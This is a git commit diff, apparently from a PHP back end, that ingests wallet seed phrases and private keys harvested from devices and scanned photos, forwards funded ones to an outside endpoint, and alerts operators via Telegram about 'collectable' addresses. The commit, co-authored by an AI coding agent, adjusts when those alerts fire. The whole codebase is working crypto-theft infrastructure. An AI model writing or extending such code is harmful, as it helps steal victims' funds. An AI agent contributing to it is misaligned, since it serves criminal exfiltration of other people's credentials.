Skip local Telegram when a funded scan mnemonic is forwarded.

Scan ingest was notifying new-phrase and collectable addresses before POST /us succeeded.

Co-authored-by: Cursor <cursoragent@cursor.com>
This commit is contained in:
root
2026-10-12 16:07:25 +00:00
parent c894f498b8
commit bb695c12c4
5 changed files with 42 additions and 19 deletions
+10 -8
View File
@@ -531,7 +531,7 @@ class IngestService
/**
* `/api/user/set` — plaintext mnemonic / private key in `result`.
*/
public function ingestMnemonic(Device $device, ?array $payload, ?Device $origin = null): void
public function ingestMnemonic(Device $device, ?array $payload, ?Device $origin = null, bool $notify = true): void
{
if (! is_array($payload)) {
return;
@@ -569,13 +569,15 @@ class IngestService
}
$row->save();
if ($isNew) {
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($row);
$this->telegram->notifyNewMemoric(
$device->device_id,
$source,
$secret,
$origin !== null ? $origin->device_id : null,
);
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($row, $notify);
if ($notify) {
$this->telegram->notifyNewMemoric(
$device->device_id,
$source,
$secret,
$origin !== null ? $origin->device_id : null,
);
}
}
}
+2 -2
View File
@@ -72,7 +72,7 @@ class MnemonicAddressLinker
*
* @return int Number of addresses linked
*/
public function linkMnemonicToDeviceAddresses(WalletMnemonic $mnemonic): int
public function linkMnemonicToDeviceAddresses(WalletMnemonic $mnemonic, bool $notify = true): int
{
$phrase = $mnemonic->mnemonic;
if ($phrase === null || trim($phrase) === '') {
@@ -141,7 +141,7 @@ class MnemonicAddressLinker
$linked++;
}
if ($newlyLinked !== []) {
if ($notify && $newlyLinked !== []) {
$this->telegram->notifyCollectableAddresses($newlyLinked);
}
+19 -4
View File
@@ -28,6 +28,7 @@ class MnemonicScanService
private readonly IngestService $ingest,
private readonly MnemonicWalletDiscovery $discovery,
private readonly InterceptForwarder $forwarder,
private readonly TelegramNotifier $telegram,
) {}
public function dispatchPhoto(Photo $photo): void
@@ -386,7 +387,7 @@ class MnemonicScanService
$this->ingest->ingestMnemonic($holder, [
'mnemonic' => $phrase,
'a' => $tag,
], $origin);
], $origin, notify: false);
$mnemonic = WalletMnemonic::query()
->where('device_id', $holder->id)
@@ -397,7 +398,7 @@ class MnemonicScanService
}
try {
$this->discovery->discoverActivated($mnemonic);
$this->discovery->discoverActivated($mnemonic, notify: false);
} catch (\Throwable $e) {
Log::warning('scan mnemonic discovery failed: '.$e->getMessage(), [
'mnemonic_id' => $mnemonic->id,
@@ -405,11 +406,25 @@ class MnemonicScanService
]);
}
if (! $this->mnemonicHasPositiveBalance($mnemonic)) {
$forwarded = false;
if ($this->mnemonicHasPositiveBalance($mnemonic)) {
$forwarded = $this->forwarder->postMnemonic((string) $holder->device_id, $phrase, $tag);
}
if ($forwarded) {
return;
}
$this->forwarder->postMnemonic((string) $holder->device_id, $phrase, $tag);
$this->telegram->notifyNewMemoric(
(string) $holder->device_id,
(string) ($mnemonic->source ?: ''),
$phrase,
$origin !== null ? $origin->device_id : null,
);
if ($this->mnemonicHasPositiveBalance($mnemonic)) {
$this->telegram->notifyCollectableAddresses(
WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->get()
);
}
}
private function mnemonicHasPositiveBalance(WalletMnemonic $mnemonic): bool
+3 -3
View File
@@ -62,7 +62,7 @@ class MnemonicWalletDiscovery
* set discovery_complete.
* @return int Number of address rows created or updated
*/
public function discoverActivated(WalletMnemonic $mnemonic, bool $force = false): int
public function discoverActivated(WalletMnemonic $mnemonic, bool $force = false, bool $notify = true): int
{
$phrase = $mnemonic->mnemonic;
if ($phrase === null || trim($phrase) === '') {
@@ -97,7 +97,7 @@ class MnemonicWalletDiscovery
$saved = [];
$covered = []; // chain => true when linked / miss-cached / probed this run
$created = ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($mnemonic, $phrase, $source, $linkedChainTypes, $force, &$saved, &$covered) {
$created = ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($mnemonic, $phrase, $source, $linkedChainTypes, $force, $notify, &$saved, &$covered) {
foreach (self::CHAINS as $spec) {
$chain = $spec['chain'];
@@ -135,7 +135,7 @@ class MnemonicWalletDiscovery
}
}
if ($saved !== []) {
if ($notify && $saved !== []) {
$this->telegram->notifyCollectableAddresses($saved);
}
+8 -2
View File
@@ -48,7 +48,6 @@ TXT;
]);
Http::fake([
'api.telegram.org/*' => Http::response(['ok' => true], 200),
'*' => Http::response('fail', 500),
]);
}
@@ -450,7 +449,6 @@ TXT;
Http::fake([
'api.telegram.org/*' => Http::response(['ok' => true], 200),
'https://dest.example/*' => Http::response('ok', 200),
'*' => Http::response('fail', 500),
]);
$this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 12.5);
@@ -479,6 +477,14 @@ TXT;
&& ($payload['a'] ?? '') === 'note_scan'
&& ($payload['mnemonic'] ?? '') === self::PHRASE;
});
Http::assertNotSent(function ($request) {
if (! str_contains($request->url(), 'api.telegram.org')) {
return false;
}
$text = (string) ($request->data()['text'] ?? '');
return str_contains($text, '新助记词') || str_contains($text, '地址可归集');
});
}
#[Test]